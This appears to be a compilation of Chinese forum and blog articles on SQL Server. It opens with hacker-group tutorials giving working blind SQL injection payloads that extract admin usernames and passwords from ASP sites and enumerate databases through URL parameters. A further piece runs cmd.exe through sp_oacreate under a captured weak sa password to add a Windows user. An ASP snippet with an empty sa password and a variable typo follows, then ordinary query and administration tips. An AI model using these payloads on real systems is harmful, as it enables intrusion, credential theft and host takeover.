通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了
在前阵子发的本周日程中列入了以下的计划 现在把他完善
首先说我们通过
0<>(select count(*) from admin)
这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了
0<>(select count(*) from admin where username<>'')
猜测admin表里用来存放用户名的列叫username
0<>(select count(*) from admin where password<>'')
猜测admin表里用来存放密码的列叫password
假设已经对了 此时我们就可以在页面直接用
and 'EvilOctal''=(select username from admin where username='EvilOctal')
猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到
仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了
<1>可以找到管理员用户名的情况下进行直接猜解密码
密码长度我们猜测是5位
and 'EvilOctal'=(select username from admin where len(password)=5)
密码的前5位是admin
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
<2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名
已经无法在页面找到管理员的名字了 那就这样
and 1=(select min(id) from admin)
假设对了我们就知道管理员的最小id是1 那就猜测名字长度
and 1=(select min(id) from admin where len(username)=9)
管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v
and 1=(select min(id) from admin where mid(username,2,1)='v')
假设全部猜测出来 EvilOctal 现在来看密码
and 1=(select min(id) from admin where len(password)>7)
以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n
and 1=(select min(id) from admin where mid(password,5,1)='n')
<3>管理员密码中文的情况下使用ascii转换进行猜测
至于转换ascii猜测的方法
取得id后可以这样使用你所取得的id 这里假设是1
那么 用户名长度就应该这样猜
and 1=(select id from admin where len(admin)=9)
然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用
and 1=(select id from admin where asc(mid(admin,2,1))=116)
and 1=(select min(id) from admin where mid(username,2,1)='t')
至于密码 看 以下两句都是说猜测密码的第2位是t
and 1=(select id from admin where asc(mid(password,2,1))=116)
and 1=(select min(id) from admin where mid(password,2,1)='t')
以上就是我的一点小总结 希望能在注入中有所提高......
下面是论坛高手oldduck说的一个新思路的小方法
也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了
高手oldduck的话：
找到一个页面可以显示新闻的漏洞页面，比如show.asp?id=123
然后用
show.asp?id=(select top 1 len(password) from admin)
假设有新闻成功显示
字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接
假设是show.asp?id=6 那么长度就是6
然后猜1到6位的密码
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)
用同样的方法找到链接 看id值 再从ascii表中查出字符
如果显示找不到新闻的话 可以用
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10)
这样来加一个基数 或者减一个数
......
方法真是coolB了
灌水广告：
——文章原创由 中国暗域网络 及 邪恶八进制 冰血封情<EviOctal>
——Be powered by Hackway Power of Cn & EvilOctal Security Group EvilOctal
——欢迎访问 http://www.hackway.net/ & http://www.eviloctal.com/


asp在SQL SER2k中新建帐号和给帐号权限的实现

' 以下为在asp中增加一个sql server2000用户函数,并为建立一个数据库，给他dbo的权限
' ****************注意：sql server的验证方式不要选仅为windows方式，
' **************** 允许远程sql server连接
' ****************该函数已通过测试****************************
' 有什么问题欢迎和我交流，以后会推出对sql server的一些管理操作程序

' 参数：StrLoginName:新增登录名，StrPwd：登录名的密码，StrDBName:新建数据库名
' 函数内局部变量说明:StrServer:服务器所在机器名(本机为local)，StrUid:sql管理员，
' StrSaPwd:sql管理员密码。以上三个变量应根据你的情况设置
' 该函数主要调用系统存储过程来实现的
' 注意：本函数没有容错处理，如出现错误，可以确定是你的sql server设置有问题，或已存在该login帐号或该数据库
' call AddUserToMSSQL("testlogin","iamhere","db_test")
Sub AddUserToMSSQL(StrLoginName,StrPwd,StrDBName)
'定义服务器变量和系统管理员登录信息，根据具体情况修改
Dim StrServer,StrUid,StrSaPwd
StrServer="(local)"
StrUid="sa"
StrSaPwd=""
Dim Conn '数据库连接
Dim StrDSN '数据库连接字符串
Dim StrCmd '命令字符串
StrDSN="driver={SQL server};server="&StrServer&";uid="&StrUid&";pwd="&StrSaPwd&";database=master"
'建立和数据库master的连接
set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open StrDSN
'新建一数据库
StrCmd="CREATE DATABASE "&StrDBName
Conn.execute(StrCmd)
'新建一登录帐号
StrCmd="sp_addlogin '"&StrLoginName&"','"&StrPwd&"','"&StrDBName&"'"
Conn.execute(StrCmd)
Conn.Close
'建立与新建数据库的连接，并赋给新登录帐号访问新建数据库的权利
StrDSN="driver={SQL server}; server="&StrServer&";uid="&StrUid&";pwd="&StSarPwd&";database="&StrDBName
StrCmd="sp_grantdbaccess '"&StrLoginName&"'"
Conn.Open StrDSN
Conn.execute(StrCmd)
'使新登录帐号成为新建数据库的拥有者
StrCmd="sp_addrolemember 'db_owner','"&StrLoginName&"'"
Conn.execute(StrCmd)
'关闭释放连接
Conn.Close
Set Conn=Nothing
Response.Write "用户 "&StrLoginName&" 成功建立!,并且已为他建立了一个数据库 "&StrDBName&"!"
End Sub


从暴库到暴密码的一般步骤

信息来源：lanker blog
文章作者：lanker
看了臭要饭写的跨库查询，我整理了一下从暴库到暴出密码等的一般
步骤，使得思路更清晰些。
SQL INJECTION 灵活多变，注入的语句不一，下面只提供暴库的一般
步骤，希望能对你有帮助。
1:暴出所有库名.
http://www.xxx.com/xxx.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
2：暴出库中的表
假设存在一个bbs的数据库,提交下面的语句：
http://www.xxx.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交：
http://www.xxx.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。
3：暴出表中的字段
提交：
http://www.xxx.com/xxx.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交：
http://www.xxx.com/xxx.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交：
http://www.xxx.com/xxx.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...))
来暴出其他的字段
4：暴出用户名和密码等
假设存在user_id username ,password 等字段,提交：
http://www.xxx.com/xxx.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。


[转载]当xplog70.dll文件被删除后

信息来源：http://wrsky.com/
起初，笔者也是大叹可惜的，因为如果只是xp_cmdshell被删除还好说，可是如果连xplog70.dll也被删除了，这该如何是好？
狂查资料！
晕啊，怎么到处都没有说的呢？难道没有解决办法吗？
于是，只好自己想办法。可是从那里下手呢？想来想去，还是从sql server本身着手看看。
打开查询分析器。
用你捕获的sa弱口令进入目标机器，当然我们的最终目标是操纵主机而不仅仅是操纵人家的数据库哦 :)
省略思考过程若干。。。。。。（脑细胞累死一大批）
突然，嘎嘎。。。怎么有这么两个存储过程啊sp_oacreate和sp_oamethod，再查查他们的作用和语法，嘿嘿。。。皇天不负苦心人啊。
交待大家怎么用好了，具体的描述，我感觉自己写不出来，没法子，从小讨厌作文。
只要你连接上目标机，并发现这两个存储过程没删除（99%都没删除，看来管理员们都不了解这些存储过程的强大功能啊），那么利用您的查询分析器所有的sa弱口令机器都可以控制咯！
比如我给他添加一个用户！
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--
呵呵，如果您发现，cmd.exe都被删掉了，试试command命令，如果这也被删掉了，那这个管理员太变态了。
ok,郑重声明，如果您用来搞破坏，那后果自负哦。同时也不是我希望的，我只是希望大家把平时一点心得拿出来交流，那我们的水平会提高很快啊。
最后，欢迎各位大虾批评指正，加我qq 1175275交流一下。


常用SQL语句
1. 查看数据库的版本
select @@version
2. 查看数据库所在机器操作系统参数
exec master..xp_msver
3. 查看数据库启动的参数
sp_configure
4. 查看数据库启动时间
select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1
查看数据库服务器名和实例名
print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)
print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)
5. 查看所有数据库名称及大小
sp_helpdb
重命名数据库用的SQL
sp_renamedb 'old_dbname', 'new_dbname'
6. 查看所有数据库用户登录信息
sp_helplogins
查看所有数据库用户所属的角色信息
sp_helpsrvrolemember
修复迁移服务器时孤立用户时,可以用的fix_orphan_user脚本或者LoneUser过程
更改某个数据对象的用户属主
sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner'
注意: 更改对象名的任一部分都可能破坏脚本和存储过程。
把一台服务器上的数据库用户登录信息备份出来可以用add_login_to_aserver脚本
7. 查看链接服务器
sp_helplinkedsrvlogin
查看远端数据库用户登录信息
sp_helpremotelogin
8.查看某数据库下某个数据对象的大小
sp_spaceused @objname
还可以用sp_toptables过程看最大的N(默认为50)个表
查看某数据库下某个数据对象的索引信息
sp_helpindex @objname
还可以用SP_NChelpindex过程查看更详细的索引情况
SP_NChelpindex @objname
clustered索引是把记录按物理顺序排列的，索引占的空间比较少。
对键值DML操作十分频繁的表我建议用非clustered索引和约束，fillfactor参数都用默认值。
查看某数据库下某个数据对象的的约束信息
sp_helpconstraint @objname
9.查看数据库里所有的存储过程和函数
use @database_name
sp_stored_procedures
查看存储过程和函数的源代码
sp_helptext '@procedure_name'
查看包含某个字符串@str的数据对象名称
select distinct object_name(id) from syscomments where text like '%@str%'
创建加密的存储过程或函数在AS前面加WITH ENCRYPTION参数
解密加密过的存储过程和函数可以用sp_decrypt过程
10.查看数据库里用户和进程的信息
sp_who
查看SQL Server数据库里的活动用户和进程的信息
sp_who 'active'
查看SQL Server数据库里的锁的情况
sp_lock
进程号1--50是SQL Server系统内部用的,进程号大于50的才是用户的连接进程.
spid是进程编号,dbid是数据库编号,objid是数据对象编号
查看进程正在执行的SQL语句
dbcc inputbuffer ()
推荐大家用经过改进后的sp_who3过程可以直接看到进程运行的SQL语句
sp_who3
检查死锁用sp_who_lock过程
sp_who_lock
11.收缩数据库日志文件的方法
收缩简单恢复模式数据库日志，收缩后@database_name_log的大小单位为M
backup log @database_name with no_log
dbcc shrinkfile (@database_name_log, 5)
12.分析SQL Server SQL 语句的方法:
set statistics time {on | off}
set statistics io {on | off}
图形方式显示查询执行计划
在查询分析器->查询->显示估计的评估计划(D)-Ctrl-L 或者点击工具栏里的图形
文本方式显示查询执行计划
set showplan_all {on | off}
set showplan_text { on | off }
set statistics profile { on | off }
13.出现不一致错误时，NT事件查看器里出3624号错误，修复数据库的方法
先注释掉应用程序里引用的出现不一致性错误的表，然后在备份或其它机器上先恢复然后做修复操作
alter database [@error_database_name] set single_user
修复出现不一致错误的表
dbcc checktable('@error_table_name',repair_allow_data_loss)
或者可惜选择修复出现不一致错误的小型数据库名
dbcc checkdb('@error_database_name',repair_allow_data_loss)
alter database [@error_database_name] set multi_user
CHECKDB 有3个参数:
repair_allow_data_loss 包括对行和页进行分配和取消分配以改正分配错误、结构行或页的错误，
以及删除已损坏的文本对象，这些修复可能会导致一些数据丢失。
修复操作可以在用户事务下完成以允许用户回滚所做的更改。
如果回滚修复，则数据库仍会含有错误，应该从备份进行恢复。
如果由于所提供修复等级的缘故遗漏某个错误的修复，则将遗漏任何取决于该修复的修复。
修复完成后，请备份数据库。
repair_fast 进行小的、不耗时的修复操作，如修复非聚集索引中的附加键。
这些修复可以很快完成，并且不会有丢失数据的危险。
repair_rebuild 执行由 repair_fast 完成的所有修复，包括需要较长时间的修复（如重建索引）。
执行这些修复时不会有丢失数据的危险。


精妙的SQL语句
来源： http://www.mstc.com.cn/
说明：复制表(只复制结构,源表名：a 新表名：b)
SQL: select * into b from a where 1<>1
说明：拷贝表(拷贝数据,源表名：a 目标表名：b)
SQL: insert into b(a, b, c) select d,e,f from b;
说明：显示文章、提交人和最后回复时间
SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b
说明：外连接查询(表名1：a 表名2：b)
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
说明：日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5
说明：两张关联表，删除主表中已经在副表中没有的信息
SQL:
delete from info where not exists ( select * from infobz where info.infid=infobz.infid )
说明：--
SQL:
SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE
FROM TABLE1,
(SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE
FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND
FROM TABLE2
WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,
(SELECT NUM, UPD_DATE, STOCK_ONHAND
FROM TABLE2
WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =
TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') || '/01','YYYY/MM/DD') - 1, 'YYYY/MM') ) Y,
WHERE X.NUM = Y.NUM （+）
AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND ) B
WHERE A.NUM = B.NUM
说明：--
SQL:
select * from studentinfo where not
        exists(select * from student where studentinfo.id=student.id) and
        系名称='"&strdepartmentname&"' and
        专业名称='"&strprofessionname&"' order by 性别,生源地,高考总成绩
说明：
从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源）
SQL:
SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '01', a.factration)) AS JAN,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC
FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration
FROM TELFEESTAND a, TELFEE b
WHERE a.tel = b.telfax) a
GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')
说明：四表联查问题：
SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....
说明：得到表中最小的未使用的ID号
SQL:
SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID
FROM Handle
WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)

--------------------------------------------------------------------------------
1.说明：复制表(只复制结构,源表名：a 新表名：b)
SQL: select * into b from a where 1<>1
2.说明：拷贝表(拷贝数据,源表名：a 目标表名：b)
SQL: insert into b(a, b, c) select d,e,f from a;
3.说明：显示文章、提交人和最后回复时间
SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b
4.说明：外连接查询(表名1：a 表名2：b)
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUTER JOIN b ON a.a = b.c
5.说明：日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5
6.说明：两张关联表，删除主表中已经在副表中没有的信息
SQL:
delete from info where not exists ( select * from infobz where info.infid=infobz.infid )
说明：--
SQL:
SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE
FROM TABLE1,
(SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE
FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND
FROM TABLE2
WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,
(SELECT NUM, UPD_DATE, STOCK_ONHAND
FROM TABLE2
WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =
TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') || '/01','YYYY/MM/DD') - 1, 'YYYY/MM') ) Y,
WHERE X.NUM = Y.NUM （+）
AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND ) B
WHERE A.NUM = B.NUM
说明：--
SQL:
select * from studentinfo where not
        exists(select * from student where studentinfo.id=student.id) and
        系名称='"&strdepartmentname&"' and
        专业名称='"&strprofessionname&"' order by 性别,生源地,高考总成绩
7.说明：
从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源）
SQL:
SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '01', a.factration)) AS JAN,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,
SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC
FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration
FROM TELFEESTAND a, TELFEE b
WHERE a.tel = b.telfax) a
GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')
8.说明：四表联查问题：
SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....
9.说明：得到表中最小的未使用的ID号
SQL:
SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID
FROM Handle
WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)
9.SQL语句技巧
9.1、一个SQL语句的问题:行列转换
select * from v_temp
上面的视图结果如下:
user_name role_name
-------------------------
系统管理员 管理员
feng 管理员
feng 一般用户
test 一般用户
想把结果变成这样:
user_name role_name
---------------------------
系统管理员 管理员
feng 管理员,一般用户
test 一般用户
===================
create table a_test(name varchar(20),role2 varchar(20))
insert into a_test values('李','管理員')
insert into a_test values('張','管理員')
insert into a_test values('張','一般用戶')
insert into a_test values('常','一般用戶')
create function join_str(@content varchar(100))
returns varchar(2000)
as
begin
declare @str varchar(2000)
set @str=''
select @str=@str+','+rtrim(role2) from a_test where [name]=@content
select @str=right(@str,len(@str)-1)
return @str
end
go
--调用：
select [name],dbo.join_str([name]) role2 from a_test group by [name]
--select distinct name,dbo.uf_test(name) from a_test
9.2、求助！快速比较结构相同的两表
结构相同的两表，一表有记录3万条左右，一表有记录2万条左右，我怎样快速查找两表的不同记录？
============================
给你一个测试方法，从northwind中的orders表取数据。
select * into n1 from orders
select * into n2 from orders
select * from n1
select * from n2
--添加主键，然后修改n1中若干字段的若干条
alter table n1 add constraint pk_n1_id primary key (OrderID)
alter table n2 add constraint pk_n2_id primary key (OrderID)
select OrderID from (select * from n1
union
select * from n2) a group by OrderID having count(*) > 1
应该可以，而且将不同的记录的ID显示出来。
下面的适用于双方记录一样的情况，
select * from n1 where orderid in
(
select OrderID from (select * from n1
union
select * from n2) a group by OrderID having count(*) > 1
)
至于双方互不存在的记录是比较好处理的
--删除n1,n2中若干条记录
delete from n1 where orderID in ('10728','10730')
delete from n2 where orderID in ('11000','11001')
--*************************************************************
-- 双方都有该记录却不完全相同
select * from n1 where orderid in
(
select OrderID from (select * from n1
union
select * from n2) a group by OrderID having count(*) > 1
)
union
--n2中存在但在n1中不存的在10728,10730
select * from n1 where OrderID not in (select OrderID from n2)
union
--n1中存在但在n2中不存的在11000,11001
select * from n2 where OrderID not in (select OrderID from n1)
9.3、四种方法取表里n到m条纪录：
1.
select top m * into 临时表(或表变量) from tablename order by columnname -- 将top m笔插入
set rowcount n
select * from 表变量 order by columnname desc

2.
select top n * from
(select top m * from tablename order by columnname) a
order by columnname desc

3.如果tablename里没有其他identity列，那么：
select identity(int) id0,* into #temp from tablename
取n到m条的语句为：
select * from #temp where id0 >=n and id0 <= m
如果你在执行select identity(int) id0,* into #temp from tablename这条语句的时候报错,那是因为你的DB中间的select into/bulkcopy属性没有打开要先执行：
exec sp_dboption 你的DB名字,'select into/bulkcopy',true

4.如果表里有identity属性，那么简单：
select * from tablename where identitycol between n and m
5.如何删除一个表中重复的记录？
create table a_dist(id int,name varchar(20))
insert into a_dist values(1,'abc')
insert into a_dist values(1,'abc')
insert into a_dist values(1,'abc')
insert into a_dist values(1,'abc')
exec up_distinct 'a_dist','id'
select * from a_dist
create procedure up_distinct(@t_name varchar(30),@f_key varchar(30))
--f_key表示是分組字段﹐即主鍵字段
as
begin
declare @max integer,@id varchar(30) ,@sql varchar(7999) ,@type integer
select @sql = 'declare cur_rows cursor for select '+@f_key+' ,count(*) from ' +@t_name +' group by ' +@f_key +' having count(*) > 1'
exec(@sql)
open cur_rows
fetch cur_rows into @id,@max
while @@fetch_status=0
begin
select @max = @max -1
set rowcount @max
select @type = xtype from syscolumns where id=object_id(@t_name) and name=@f_key
if @type=56
select @sql = 'delete from '+@t_name+' where ' + @f_key+' = '+ @id
if @type=167
select @sql = 'delete from '+@t_name+' where ' + @f_key+' = '+''''+ @id +''''
exec(@sql)
fetch cur_rows into @id,@max
end
close cur_rows
deallocate cur_rows
set rowcount 0
end
select * from systypes
select * from syscolumns where id = object_id('a_dist')
9.4.查询数据的最大排序问题（只能用一条语句写）
CREATE TABLE hard (qu char (11) ,co char (11) ,je numeric(3, 0))
insert into hard values ('A','1',3)
insert into hard values ('A','2',4)
insert into hard values ('A','4',2)
insert into hard values ('A','6',9)
insert into hard values ('B','1',4)
insert into hard values ('B','2',5)
insert into hard values ('B','3',6)
insert into hard values ('C','3',4)
insert into hard values ('C','6',7)
insert into hard values ('C','2',3)

要求查询出来的结果如下：
qu co je
----------- ----------- -----
A 6 9
A 2 4
B 3 6
B 2 5
C 6 7
C 3 4

就是要按qu分组，每组中取je最大的前2位！！
而且只能用一句sql语句！！！
select * from hard a where je in (select top 2 je from hard b where a.qu=b.qu order by je)
9.5.求删除重复记录的sql语句？
怎样把具有相同字段的纪录删除，只留下一条。
例如，表test里有id,name字段
如果有name相同的记录 只留下一条，其余的删除。
name的内容不定，相同的记录数不定。
有没有这样的sql语句？
==============================
A:一个完整的解决方案：
将重复的记录记入temp1表:
select [标志字段id],count(*) into temp1 from [表名]
group by [标志字段id]
having count(*)>1
2、将不重复的记录记入temp1表:
insert temp1
select [标志字段id],count(*) from [表名]
group by [标志字段id]
having count(*)=1
3、作一个包含所有不重复记录的表：
select * into temp2 from [表名]
where 标志字段id in(select 标志字段id from temp1)
4、删除重复表:
delete [表名]
5、恢复表：
insert [表名]
select * from temp2
6、删除临时表:
drop table temp1
drop table temp2
================================
B:
create table a_dist(id int,name varchar(20))
insert into a_dist values(1,'abc')
insert into a_dist values(1,'abc')
insert into a_dist values(1,'abc')
insert into a_dist values(1,'abc')
exec up_distinct 'a_dist','id'
select * from a_dist
create procedure up_distinct(@t_name varchar(30),@f_key varchar(30))
--f_key表示是分組字段﹐即主鍵字段
as
begin
declare @max integer,@id varchar(30) ,@sql varchar(7999) ,@type integer
select @sql = 'declare cur_rows cursor for select '+@f_key+' ,count(*) from ' +@t_name +' group by ' +@f_key +' having count(*) > 1'
exec(@sql)
open cur_rows
fetch cur_rows into @id,@max
while @@fetch_status=0
begin
select @max = @max -1
set rowcount @max
select @type = xtype from syscolumns where id=object_id(@t_name) and name=@f_key
if @type=56
select @sql = 'delete from '+@t_name+' where ' + @f_key+' = '+ @id
if @type=167
select @sql = 'delete from '+@t_name+' where ' + @f_key+' = '+''''+ @id +''''
exec(@sql)
fetch cur_rows into @id,@max
end
close cur_rows
deallocate cur_rows
set rowcount 0
end
select * from systypes
select * from syscolumns where id = object_id('a_dist')
10.1. 行列转换--普通
假设有张学生成绩表(CJ)如下
Name Subject Result
张三 语文 80
张三 数学 90
张三 物理 85
李四 语文 85
李四 数学 92
李四 物理 82
想变成
姓名 语文 数学 物理
张三 80 90 85
李四 85 92 82
declare @sql varchar(4000)
set @sql = 'select Name'
select @sql = @sql + ',sum(case Subject when '''+Subject+''' then Result end) ['+Subject+']'
from (select distinct Subject from CJ) as a
select @sql = @sql+' from test group by name'
exec(@sql)
10.2. 行列转换--合并
有表A,
id pid
1 1
1 2
1 3
2 1
2 2
3 1
如何化成表B:
id pid
1 1,2,3
2 1,2
3 1
创建一个合并的函数
create function fmerg(@id int)
returns varchar(8000)
as
begin
declare @str varchar(8000)
set @str=''
select @str=@str+','+cast(pid as varchar) from 表A where id=@id
set @str=right(@str,len(@str)-1)
return(@str)
End
go
--调用自定义函数得到结果
select distinct id,dbo.fmerg(id) from 表A
10.3. 如何取得一个数据表的所有列名
方法如下：先从SYSTEMOBJECT系统表中取得数据表的SYSTEMID,然后再SYSCOLUMN表中取得该数据表的所有列名。
SQL语句如下：
declare @objid int,@objname char(40)
set @objname = 'tablename'
select @objid = id from sysobjects where id = object_id(@objname)
select 'Column_name' = name from syscolumns where id = @objid order by colid
是不是太简单了？ 呵呵 不过经常用阿.
10.4. 通过SQL语句来更改用户的密码
修改别人的,需要sysadmin role
EXEC sp_password NULL, 'newpassword', 'User'
如果帐号为SA执行EXEC sp_password NULL, 'newpassword', sa
10.5. 怎么判断出一个表的哪些字段不允许为空？
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where IS_NULLABLE='NO' and TABLE_NAME=tablename
10.6. 如何在数据库里找到含有相同字段的表？
a. 查已知列名的情况
SELECT b.name as TableName,a.name as columnname
From syscolumns a INNER JOIN sysobjects b
ON a.id=b.id
AND b.type='U'
AND a.name='你的字段名字'
b. 未知列名查所有在不同表出现过的列名
Select o.name As tablename,s1.name As columnname
From syscolumns s1, sysobjects o
Where s1.id = o.id
And o.type = 'U'
And Exists (
Select 1 From syscolumns s2
Where s1.name = s2.name
And s1.id <> s2.id
)
10.7. 查询第xxx行数据
假设id是主键：
select *
from (select top xxx * from yourtable) aa
where not exists(select 1 from (select top xxx-1 * from yourtable) bb where aa.id=bb.id)
如果使用游标也是可以的
fetch absolute [number] from [cursor_name]
行数为绝对行数
10.8. SQL Server日期计算
a. 一个月的第一天
SELECT DATEADD(mm, DATEDIFF(mm,0,getdate()), 0)
b. 本周的星期一
SELECT DATEADD(wk, DATEDIFF(wk,0,getdate()), 0)
c. 一年的第一天
SELECT DATEADD(yy, DATEDIFF(yy,0,getdate()), 0)
d. 季度的第一天
SELECT DATEADD(qq, DATEDIFF(qq,0,getdate()), 0)
e. 上个月的最后一天
SELECT dateadd(ms,-3,DATEADD(mm, DATEDIFF(mm,0,getdate()), 0))
f. 去年的最后一天
SELECT dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate()), 0))
g. 本月的最后一天
SELECT dateadd(ms,-3,DATEADD(mm, DATEDIFF(m,0,getdate())+1, 0))
h. 本月的第一个星期一
select DATEADD(wk, DATEDIFF(wk,0,
dateadd(dd,6-datepart(day,getdate()),getdate())
), 0)
i. 本年的最后一天
SELECT dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0))。
11.1.获取表结构[把 'sysobjects' 替换 成 'tablename' 即可]
SELECT CASE IsNull(I.name, '')
When '' Then ''
Else '*'
End as IsPK,
Object_Name(A.id) as t_name,
A.name as c_name,
IsNull(SubString(M.text, 1, 254), '') as pbc_init,
T.name as F_DataType,
CASE IsNull(TYPEPROPERTY(T.name, 'Scale'), '')
WHEN '' Then Cast(A.prec as varchar)
ELSE Cast(A.prec as varchar) + ',' + Cast(A.scale as varchar)
END as F_Scale,
A.isnullable as F_isNullAble
FROM Syscolumns as A
JOIN Systypes as T
ON (A.xType = T.xUserType AND A.Id = Object_id('sysobjects') )
LEFT JOIN ( SysIndexes as I
JOIN Syscolumns as A1
ON ( I.id = A1.id and A1.id = object_id('sysobjects') and (I.status & 0x800) = 0x800 AND A1.colid <= I.keycnt) )
ON ( A.id = I.id AND A.name = index_col('sysobjects', I.indid, A1.colid) )
